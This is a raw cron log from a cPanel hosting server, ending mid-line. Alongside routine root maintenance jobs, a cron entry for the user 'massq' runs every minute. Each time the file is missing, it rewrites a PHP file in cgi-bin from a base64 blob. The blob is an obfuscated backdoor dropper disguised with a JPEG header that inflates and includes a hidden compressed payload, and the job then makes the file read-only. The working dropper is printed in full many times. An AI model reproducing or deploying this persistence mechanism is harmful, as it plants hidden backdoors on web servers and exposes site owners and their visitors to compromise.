Sep  5 02:39:01 server CROND[20812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:39:01 server CROND[20813]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 02:39:01 server CROND[20814]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:40:01 server CROND[21216]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 02:40:01 server CROND[21219]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:40:01 server CROND[21223]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:40:01 server CROND[21222]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 02:40:01 server CROND[21224]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 02:40:01 server CROND[21225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:40:01 server CROND[21221]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 02:40:01 server CROND[21220]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 02:41:01 server CROND[22053]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:41:01 server CROND[22054]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:41:01 server CROND[22055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:42:01 server CROND[22429]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:42:01 server CROND[22430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:42:01 server CROND[22432]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 02:42:01 server CROND[22431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:43:01 server CROND[23077]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:43:01 server CROND[23078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:43:01 server CROND[23079]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:44:01 server CROND[23471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:44:01 server CROND[23472]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:44:01 server CROND[23473]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:45:01 server CROND[23862]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 02:45:01 server CROND[23864]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 02:45:01 server CROND[23866]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:45:01 server CROND[23865]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 02:45:01 server CROND[23869]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:45:01 server CROND[23867]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 02:45:01 server CROND[23868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:46:01 server CROND[24689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:46:01 server CROND[24690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:46:01 server CROND[24691]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:47:01 server CROND[25070]: (root) CMD (  bash -c 'sleep $((RANDOM % 1800))'; /usr/libexec/report-command-error /opt/imunify360/venv/share/imunify360/scripts/imunify-check-pkg-integrity >/dev/null 2>&1)
Sep  5 02:47:01 server CROND[25072]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:47:01 server CROND[25073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:47:01 server CROND[25074]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null 2>&1 > /dev/null))
Sep  5 02:47:01 server CROND[25075]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:47:46 server crontab[25504]: (root) LIST (root)
Sep  5 02:47:46 server crontab[25506]: (root) LIST (root)
Sep  5 02:47:51 server crontab[25652]: (root) LIST (root)
Sep  5 02:48:01 server crond[1999]: (*system*) RELOAD (/etc/cron.d/cpanel_ssl_reissue)
Sep  5 02:48:01 server crond[1999]: (bespokeapps) ORPHAN (no passwd entry)
Sep  5 02:48:01 server crond[1999]: (massivedesign) WRONG FILE OWNER (/var/spool/cron/massivedesign)
Sep  5 02:48:01 server CROND[25796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:48:01 server CROND[25799]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:48:01 server CROND[25798]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:49:01 server CROND[26807]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:49:01 server CROND[26808]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:49:01 server CROND[26809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:50:01 server CROND[27207]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 02:50:01 server CROND[27211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:50:01 server CROND[27212]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 02:50:01 server CROND[27216]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 02:50:01 server CROND[27220]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 02:50:01 server CROND[27221]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 02:50:01 server CROND[27222]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:50:01 server CROND[27225]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 